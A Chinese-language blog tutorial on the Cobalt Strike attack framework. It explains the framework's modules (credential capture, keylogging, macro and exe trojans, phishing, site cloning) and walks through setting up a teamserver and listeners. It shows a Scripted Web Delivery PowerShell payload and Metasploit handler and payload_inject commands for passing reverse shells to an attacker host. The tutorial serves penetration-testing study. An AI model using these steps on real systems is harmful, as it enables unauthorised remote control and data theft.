Cobalt Strike簡介
Cobalt Strike是一款由java撰寫的全平臺多方協同滲透測驗框架，在3.0版本之前它基于Metasploit框架作業，在3.0后的版本以獨立成一個滲透測驗平臺，CobaltStrike集成了埠轉發、埠掃描、socket代理、提權、釣魚、遠控木馬等功能，該工具幾乎覆寫了APT攻擊鏈中所需要用到的各個技識訓節，且其最大的優點在于可以進行團隊合作和優越的UI界面，
Cobalt Strike檔案結構
│ agscript 拓展應用的腳本 │ c2lint 檢查profile的錯誤例外 │ cobaltstrike 客戶端程式 │ cobaltstrike.jar │ logs 日志 │ data TeamServer的一些資料 │ teamserver 團隊服務器程式 │ update 用于更新Cobalt Strike │ update.jar │ third-party 第三方工具
Cobalt Strike使用
CobaltStrike分為客戶端和服務端，Cobalt Strike 需要團隊服務器才能使用，
（1）啟動TeamServer
./teamserver 192.168.178.128 123456 #ip為本機服務器ip 123456為設定的密碼
如果要將團隊服務器部署在公網上，記得加強密碼強度，防止團隊服務器密碼被破解
（2）啟動Cobalt Strike Client
Host為團隊服務器ip地址
Port為默認埠
User為連接的用戶，用戶可以自行選擇
Password為團隊服務器設定的密碼
點擊Connect連接之后
再點擊是，則加入成功，
Cobalt Strike模塊詳解
Cobalt Strike模塊
New Connection # 新建連接，支持連接多個服務器端
Preferences # 設定Cobal Strike界面、控制臺、以及輸出報告樣式、TeamServer連接記錄
Visualization # 主要展示輸出結果的視圖
VPN Interfaces # 設定VPN介面
Listenrs # 創建監聽器
Script Manager # 腳本管理，可以通過AggressorScripts腳本來加強自身，能夠擴展選單欄，Beacon命令列，提權腳本等
Close # 退出連接
View模塊
Applications # 顯示受害主機的應用資訊
Credentials # 顯示所有以獲取的受害主機的憑證，如hashdump、Mimikatz
Downloads # 查看已下載檔案
Event Log # 主機上線記錄以及團隊協作聊天記錄
Keystrokes # 查看鍵盤記錄結果
Proxy Pivots # 查看代理模塊
Screenshots # 查看所有螢屏截圖
Script Console # 加載第三方腳本以增強功能
Targets # 顯示所有受害主機
Web Log # 所有Web服務的日志
Attacks模塊
Packages
HTML Application # 生成(executable/VBA/powershell)這三種原理實作的惡意HTA木馬檔案 MS Office Macro # 生成office宏病毒檔案 Payload Generator # 生成各種語言版本的payload Windows Executable # 生成可執行exe木馬 Windows Executable(Stageless) # 生成無狀態的可執行exe木馬
Web-Drive-by
Manage # 對開啟的web服務進行管理 Clone Site # 克隆網站，可以記錄受害者提交的資料 Host File # 提供檔案下載，可以選擇Mime型別 Scripted Web Delivery # 為payload提供web服務以便下載和執行，類似于Metasploit的web_delivery Signed Applet Attack # 使用java自簽名的程式進行釣魚攻擊(該方法已過時) Smart Applet Attack # 自動檢測java版本并進行攻擊，針對Java 1.6.0_45以下以及Java 1.7.0_21以下版本(該方法已過時) Spear Phish # 魚叉釣魚郵件
Reporting模塊
Activity Report # 活動報告
Hosts Report # 主機報告
Indicators of Compromise # IOC報告：包括C2組態檔的流量分析、域名、IP和上傳檔案的MD5 hashes
Sessions Report # 會話報告
Social Engineering Report # 社會工程報告：包括魚叉釣魚郵件及點擊記錄
Tactics, Techniques, and Procedures # 戰術技術及相關程式報告：包括行動對應的每種戰術的檢測策略和緩解策略
Reset Data # 重置資料
Export Data # 匯出資料，匯出.tsv檔案格式
Help模塊
Homepage # 官方主頁
Support # 技術支持
Arsenal # 開發者
System information # 版本資訊
About # 關于
工具導航欄
1.新建連接 2.斷開當前連接 3.監聽器 4.改變視圖為Pivot Graph(視圖串列) 5.改變視圖為Session Table(會話串列) 6.改變視圖為Target Table(目標串列) 7.顯示所有以獲取的受害主機的憑證 8.查看已下載檔案 9.查看鍵盤記錄結果 10.查看螢屏截圖 11.生成無狀態的可執行exe木馬 12.使用java自簽名的程式進行釣魚攻擊 13.生成office宏病毒檔案 14.為payload提供web服務以便下載和執行 15.提供檔案下載，可以選擇Mime型別 16.管理Cobalt Strike上運行的web服務 17.幫助 18.關于
利用Cobalt Strike獲取一個Beacon
1、創建Listener
在Listeners的面板中點擊Add
然后輸入名稱（任意），選擇監聽器型別，團隊服務器ip和監聽埠保存即可，
然后在監聽的面板中就可以看到我們的監聽器
在有了監聽器之后，我們就可以選擇我們的攻擊模塊進行漏洞利用了，我們這里選擇Scripted Web Delivery攻擊模塊（為payload提供web服務以便下載和執行，類似于Metasploit的web_delivery）
然后配置號監聽埠和監聽器后點擊Launch
然后會生成一個payload
復制payload在powershell中執行，肉雞即可上線
我們可以進如Interact的互動模式進行執行命令
Cobalt Strike功能詳解
Listeners（監聽模塊）
在監聽模塊中內置了八個內置payload
wndows/beacon_dns/reverse_dns_txt windows/beacon_http/reverse_http windows/beacon_https/reverse_https windows/beacon_bind_pipe windows/beacon_tcp windows/beacon_extc2 windows/foreign/reverse_http windows/foreign/reverse_https
這些payload中windows/beacon為內置監聽器，且有dns、http、https、smb、tcp、extc2六種監聽方式，windows/foreign為外部監聽器，
內置監聽器的使用原理和之前配置監聽器原理大致相同，這里主要再演示一下外部監聽器的使用，
首先我們選擇外置監聽器Foreign模塊，填寫相關配置內容
然后打開在msf中配置相應監聽模塊
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http msf5 exploit(multi/handler) > set lhost 192.168.178.128 #此處的IP地址和監聽埠要和cs中設定的保持一致 msf5 exploit(multi/handler) > set lport 4444
msf5 exploit(multi/handler) > run
配置好之后我們就可以通過此監聽器來傳遞我們的shell了，點擊spawn
選擇我們設定的msf這個外監聽器
這樣在msf這邊就可以接受到cs這邊傳遞過來的shell
這里講述到了cs傳遞shell到msf，就不得不在提一提msf傳遞到cs了，
首先我們把剛才接受到的session退出，這里記住這個session的id為1
然后使用模塊
msf5 exploit(multi/handler) > use exploit/windows/local/payload_inject
msf5 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http #切記這里的payload的協議要與cs的一致
選擇上了這個模塊之后我們在回到cs上創建一個監聽器，我這里有個之前創建好的監聽器
那我們繼續回到msf上配置session和lhost和lport（切記這里的lhost和lport要和cs上監聽器上配置的是一致的）
然后run執行在cs上等待上線即可，
Attacks（攻擊模塊）
Scripted Web Delivery
上面演示的是使用attacks模塊中的scripted web delivery模塊來進行拿到靶機的shell
這里有幾個配置選項
URL Path：存放payload的位置
Local Host：團隊服務器ip地址
Local Port：團隊服務器埠
Listener：監聽器
Type：要選擇的腳本型別
全部配置好了之后，點擊launch后，會彈出payload
在靶機上運行之后，靶機會在Teamserver下載payload，然后執行并加載到記憶體中，從而獲取主機的Beacon，
Manage
我們生成的監聽器和一些payload都能在這里進行管理，
Windows Executable
使用方法也和之前大致相同，配置好監聽器和Output即可，這里的Output分為EXE和DLL兩種型別，
Windows EXE：windows的可執行檔案
Windows Service EXE：基于服務的windows可執行檔案，可以將可執行檔案添加到服務中，
Windows DLL：DLL檔案，一般用于DLL劫持、提權和反彈Beacon，
Payload Generator
配置監聽器，選擇對應腳本語言即可，
__EOF__
作者: 隨風kali 本文鏈接: https://www.cnblogs.com/sfsec/p/15302595.html
著作權宣告: 本博客所有文章除特別宣告外，均采用 BY-NC-SA 許可協議，轉載請注明出處！
聲援博主: 如果您覺得文章對您有幫助，可以點擊文章右下角【推薦】一下，您的鼓勵是博主的最大動力！
轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/343929.html
標籤：其他